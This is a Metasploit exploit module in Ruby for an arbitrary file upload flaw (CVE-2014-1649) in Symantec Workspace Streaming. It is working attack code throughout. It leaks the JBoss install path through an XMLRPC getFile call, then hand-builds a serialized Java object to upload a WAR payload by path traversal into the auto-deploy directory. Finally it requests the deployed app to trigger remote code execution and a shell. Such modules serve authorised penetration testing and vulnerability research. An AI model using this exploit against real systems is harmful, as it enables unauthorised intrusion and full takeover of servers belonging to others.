##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rexml/document'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include REXML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Symantec Workspace Streaming ManagementAgentServer.putFile XMLRPC Request Arbitrary File Upload',
        'Description' => %q{
          This module exploits a code execution flaw in Symantec Workspace Streaming. The
          vulnerability exists in the ManagementAgentServer.putFile XMLRPC call exposed by the
          as_agent.exe service, which allows for uploading arbitrary files under the server root.
          This module abuses the auto deploy feature in the JBoss as_ste.exe instance in order
          to achieve remote code execution. This module has been tested successfully on Symantec
          Workspace Streaming 6.1 SP8 and Windows 2003 SP2, and reported to affect 7.5.0.x.
          Abused services listen on a single-machine deployment and also in the backend role in
          a multiple-machine deployment.
        },
        'Author' => [
          'rgod <rgod[at]autistici.org>', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2014-1649'],
          ['OSVDB', '106923'],
          ['BID', '67189'],
          ['ZDI', '14-127'],
          ['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20140512_00']
        ],
        'Privileged' => true,
        'Platform' => 'java',
        'Arch' => ARCH_JAVA,
        'Targets' => [
          [ 'Symantec Workspace Streaming 6.1 SP8 / Java Universal', {} ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2014-05-12',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(9855), # as_agent.exe (afuse XMLRPC to upload arbitrary file)
        OptPort.new('STE_PORT', [true, "The remote as_ste.exe AS server port", 9832]), # as_ste.exe (abuse JBoss auto deploy)
      ]
    )
  end

  def send_xml_rpc_request(xml)
    res = send_request_cgi(
      {
        'uri' => normalize_uri("/", "xmlrpc"),
        'method' => 'POST',
        'ctype' => 'text/xml; charset=UTF-8',
        'data' => xml
      }
    )

    res
  end

  def build_soap_get_file(file_path)
    xml = Document.new
    xml.add_element(
      "methodCall",
      {
        'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions"
      }
    )
    method_name = xml.root.add_element("methodName")
    method_name.text = "ManagementAgentServer.getFile"

    params = xml.root.add_element("params")

    param_server_root = params.add_element("param")
    value_server_root = param_server_root.add_element("value")
    value_server_root.text = "*AWESE"

    param_file_type = params.add_element("param")
    value_file_type = param_file_type.add_element("value")
    type_file_type = value_file_type.add_element("i4")
    type_file_type.text = "0" # build path from the server root directory

    param_file_name = params.add_element("param")
    value_file_name = param_file_name.add_element("value")
    value_file_name.text = file_path

    param_file_binary = params.add_element("param")
    value_file_binary = param_file_binary.add_element("value")
    type_file_binary = value_file_binary.add_element("boolean")
    type_file_binary.text = "0"

    xml << XMLDecl.new("1.0", "UTF-8")

    xml.to_s
  end

  def build_soap_put_file(file)
    xml = Document.new
    xml.add_element(
      "methodCall",
      {
        'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions"
      }
    )
    method_name = xml.root.add_element("methodName")
    method_name.text = "ManagementAgentServer.putFile"

    params = xml.root.add_element("params")

    param_server_root = params.add_element("param")
    value_server_root = param_server_root.add_element("value")
    value_server_root.text = "*AWESE"

    param_file_type = params.add_element("param")
    value_file_type = param_file_type.add_element("value")
    type_file_type = value_file_type.add_element("i4")
    type_file_type.text = "0" # build path from the server root directory

    param_file = params.add_element("param")
    value_file = param_file.add_element("value")
    type_value_file = value_file.add_element("ex:serializable")
    type_value_file.text = file

    xml << XMLDecl.new("1.0", "UTF-8")

    xml.to_s
  end

  def build_soap_check_put
    xml = Document.new
    xml.add_element(
      "methodCall",
      {
        'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions"
      }
    )
    method_name = xml.root.add_element("methodName")
    method_name.text = "ManagementAgentServer.putFile"
    xml.root.add_element("params")
    xml << XMLDecl.new("1.0", "UTF-8")
    xml.to_s
  end

  def parse_method_response(xml)
    doc = Document.new(xml)
    file = XPath.first(doc, "methodResponse/params/param/value/ex:serializable")

    unless file.nil?
      file = Rex::Text.decode_base64(file.text)
    end

    file
  end

  def get_file(path)
    xml_call = build_soap_get_file(path)
    file = nil

    res = send_xml_rpc_request(xml_call)

    if res && res.code == 200 && res.body
      file = parse_method_response(res.body.to_s)
    end

    file
  end

  def put_file(file)
    result = nil
    xml_call = build_soap_put_file(file)

    res = send_xml_rpc_request(xml_call)

    if res && res.code == 200 && res.body
      result = parse_method_response(res.body.to_s)
    end

    result
  end

  def upload_war(war_name, war, dst)
    result = false
    java_file = build_java_file_info("#{dst}#{war_name}", war)
    java_file = Rex::Text.encode_base64(java_file)

    res = put_file(java_file)

    if res && res =~ /ReturnObject.*StatusMessage.*Boolean/
      result = true
    end

    result
  end

  def jboss_deploy_path
    path = nil
    leak = get_file("bin/CreateDatabaseSchema.cmd")

    if leak && leak =~ /\[INSTALLDIR\](.*)ste\/ste.jar/
      path = $1
    end

    path
  end

  def check
    check_result = Exploit::CheckCode::Safe('Symantec Workspace Streaming not detected')

    if jboss_deploy_path.nil?
      xml = build_soap_check_put
      res = send_xml_rpc_request(xml)

      if res && res.code == 200 && res.body && res.body.to_s =~ /No method matching arguments/
        check_result = Exploit::CheckCode::Detected('Symantec Workspace Streaming SOAP endpoint detected')
      end
    else
      check_result = Exploit::CheckCode::Appears('Symantec Workspace Streaming JBoss deployment path found')
    end

    check_result
  end

  def exploit
    print_status("Leaking the JBoss deployment directory...")
    jboss_path = jboss_deploy_path

    if jboss_path.nil?
      fail_with(Failure::Unknown, "#{peer} - Failed to disclose the JBoss deployment directory")
    end

    print_status("Building WAR payload...")

    app_name = Rex::Text.rand_text_alpha(4 + rand(4))
    war_name = "#{app_name}.war"
    war = payload.encoded_war({ :app_name => app_name }).to_s
    deploy_dir = "..#{jboss_path}"

    print_status("Uploading WAR payload...")

    res = upload_war(war_name, war, deploy_dir)

    unless res
      fail_with(Failure::Unknown, "#{peer} - Failed to upload the war payload")
    end

    register_files_for_cleanup("../server/appstream/deploy/#{war_name}")

    10.times do
      select(nil, nil, nil, 2)

      # Now make a request to trigger the newly deployed war
      print_status("#{rhost}:#{ste_port} - Attempting to launch payload in deployed WAR...")
      res = send_request_cgi(
        {
          'uri' => normalize_uri("/", app_name, Rex::Text.rand_text_alpha(rand(8) + 8)),
          'method' => 'GET',
          'rport' => ste_port # Auto Deploy can be reached through the "as_ste.exe" service
        }
      )
      # Failure. The request timed out or the server went away.
      break if res.nil?
      # Success! Triggered the payload, should have a shell incoming
      break if res.code == 200
    end
  end

  def ste_port
    datastore['STE_PORT']
  end

  # com.appstream.cm.general.FileInfo serialized object
  def build_java_file_info(file_name, contents)
    stream = "\xac\xed" # stream magic
    stream << "\x00\x05" # stream version
    stream << "\x73" # new Object

    stream << "\x72" # TC_CLASSDESC
    stream << ["com.appstream.cm.general.FileInfo".length].pack("n")
    stream << "com.appstream.cm.general.FileInfo"
    stream << "\xa3\x02\xb6\x1e\xa1\x6b\xf0\xa7" # class serial version identifier
    stream << "\x02" # flags SC_SERIALIZABLE
    stream << [6].pack("n") # number of fields in the class

    stream << "Z" # boolean
    stream << ["bLastPage".length].pack("n")
    stream << "bLastPage"

    stream << "J" # long
    stream << ["lFileSize".length].pack("n")
    stream << "lFileSize"

    stream << "[" # array
    stream << ["baContent".length].pack("n")
    stream << "baContent"
    stream << "\x74" # TC_STRING
    stream << ["[B".length].pack("n")
    stream << "[B" # field's type (byte array)

    stream << "L" # Object
    stream << ["dTimeStamp".length].pack("n")
    stream << "dTimeStamp"
    stream << "\x74" # TC_STRING
    stream << ["Ljava/util/Date;".length].pack("n")
    stream << "Ljava/util/Date;" # field's type (Date)

    stream << "L" # Object
    stream << ["sContent".length].pack("n")
    stream << "sContent"
    stream << "\x74" # TC_STRING
    stream << ["Ljava/lang/String;".length].pack("n")
    stream << "Ljava/lang/String;" # field's type (String)

    stream << "L" # Object
    stream << ["sFileName".length].pack("n")
    stream << "sFileName"
    stream << "\x71" # TC_REFERENCE
    stream << [0x007e0003].pack("N") # handle

    stream << "\x78" # TC_ENDBLOCKDATA
    stream << "\x70" # TC_NULL

    # Values
    stream << [1].pack("c") # bLastPage

    stream << [0xffffffff, 0xffffffff].pack("NN") # lFileSize

    stream << "\x75" # TC_ARRAY
    stream << "\x72" # TC_CLASSDESC
    stream << ["[B".length].pack("n")
    stream << "[B" # byte array)
    stream << "\xac\xf3\x17\xf8\x06\x08\x54\xe0" # class serial version identifier
    stream << "\x02" # flags SC_SERIALIZABLE
    stream << [0].pack("n") # number of fields in the class
    stream << "\x78" # TC_ENDBLOCKDATA
    stream << "\x70" # TC_NULL
    stream << [contents.length].pack("N")
    stream << contents # baContent

    stream << "\x70" # TC_NULL # dTimeStamp

    stream << "\x70" # TC_NULL # sContent

    stream << "\x74" # TC_STRING
    stream << [file_name.length].pack("n")
    stream << file_name # sFileName

    stream
  end
end
